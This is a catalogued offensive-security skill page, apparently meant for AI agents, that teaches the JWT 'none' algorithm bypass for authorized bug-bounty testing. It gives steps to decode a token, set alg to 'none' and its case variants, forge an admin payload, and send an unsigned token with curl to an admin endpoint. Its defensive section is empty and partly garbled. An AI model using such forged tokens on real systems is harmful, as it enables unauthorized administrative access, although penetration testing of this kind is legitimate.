Jwt Null Signature

JWT 'None' Algorithm Bypass

When to Use

• When assessing web applications or microservices that utilize JWTs for authentication and authorization.
• Specifically during the initial phases of analyzing a JWT implementation to check for fundamental configuration flaws in token verification.

Prerequisites

• Authorized scope and target URLs from bug bounty program
• Burp Suite Professional (or Community) configured with browser proxy
• Familiarity with OWASP Top 10 and common web vulnerability classes
• SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Capture and Decode the Token

Intercept a valid request containing your JWT (usually in the Authorization: Bearer header or a cookie). A JWT consists of three base64-url encoded parts separated by periods: Header.Payload.Signature.

# Concept: Decode the Header and Payload Token: eyJhbGciOiJIUzI1NiIsInR5cCI...
echo "eyJhbGciOiJIUzI1NiIsInR5cCI..." | base64 -d
# Header Output: {"alg":"HS256","typ":"JWT"}

Phase 2: Modify Header to 'None' Algorithm

Change the alg value in the header. Servers might accept variations of the string "none".

// {"alg": "none", "typ": "JWT"}
// Other variations to try: "None", "NONE", "nOnE"

Re-encode this modified header to Base64-URL format (ensure no padding =).

Phase 3: Modify Payload (Elevation of Privilege)

Modify the payload to elevate privileges or impersonate another user.

// {"sub": "admin", "iat": 1516239022, "admin": true}

Re-encode the modified payload to Base64-URL format.

Phase 4: Construct and Send the Forged Token

Combine the new header and payload, appending a trailing dot, but remove the signature completely.

# [Base64_Header_None].[Base64_Payload_Admin].

Send the request with the new token via Burp Suite or curl.

# curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImlhdCI6MTUxNjIzOTAyMiwiYWRtaW4iOnRydWV9." http://target.local/api/admin

Decision Point 🔀

flowchart TD
    A[Capture JWT ] --> B[Decode Header & Payload ]
    B --> C[Change alg to 'none' ]
    C --> D[Modify Payload ]
    D --> E[Re-encode (No Signature) ]
    E --> F{Bypass Successful? ]}
    F -->|Yes| G[Privilege Escalated ]
    F -->|No| H[Try other JWT attacks ]

🔵 Blue Team Detection & Defense

• Enforce Algorithm Verification: Library Configuration: Reject 'None' Explicitly: Key Concepts

| Concept | Description | |---------|-------------|

Output Format

Jwt Null Signature — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

> For cross-cutting methodology applicable to all vulnerability classes, see: > - [_shared/references/elite-chaining-strategy.md](../shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns > - [_shared/references/elite-report-writing.md](../shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference > - [_shared/references/real-world-bounties.md](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

References

• PortSwigger: JWT Algorithms
• RFC 7519: JSON Web Token (JWT)

Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

• Author: Ak-cybe
• Source: Ak-cybe/awesome-offensive-security-skills
• License: Apache-2.0
• Homepage: https://ak-cybe.github.io/cybersecurity-agent-skill

Install and usage instructions live in the source repository linked above.